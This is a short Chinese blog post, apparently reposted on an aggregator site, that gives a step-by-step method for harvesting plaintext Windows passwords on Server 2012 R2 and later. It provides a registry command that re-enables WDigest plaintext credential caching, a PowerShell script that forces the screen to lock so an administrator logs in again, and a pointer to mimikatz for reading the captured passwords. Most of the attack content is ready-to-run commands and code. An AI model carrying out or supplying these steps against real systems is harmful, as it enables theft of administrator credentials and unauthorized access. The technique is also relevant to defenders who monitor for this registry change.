ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

Windows 2012R2 Hash读取

2021-10-05 14:32:12  阅读:155  来源: 互联网

标签:Hash LockWorkStation Windows 抓取 锁屏 明文 注册表 2012R2


一、前言

在默认情况下,当系统为Windows 10或Windows 2012 R2以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

 

二、抓取明文Hash

抓取明文流程

修改命令修改注册表 -> 强制锁屏 -> 等待目标系统管理员重新登录 -> 截取明文密码

 

修改命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

通过修改注册表来让Wdigest Auth保存明文口令

 

恢复原样(渗透完之后):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

 

使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过):

Function Lock-WorkStation {

$signature = @"

[DllImport("user32.dll", SetLastError = true)]

public static extern bool LockWorkStation();

"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

 

执行: powershell -file lock-screen.ps1 锁屏,让管理员进行登录

 

再用mimikatz读取hash这个时候就是明文了。

 

标签:Hash,LockWorkStation,Windows,抓取,锁屏,明文,注册表,2012R2
来源: https://www.cnblogs.com/miruier/p/15368581.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有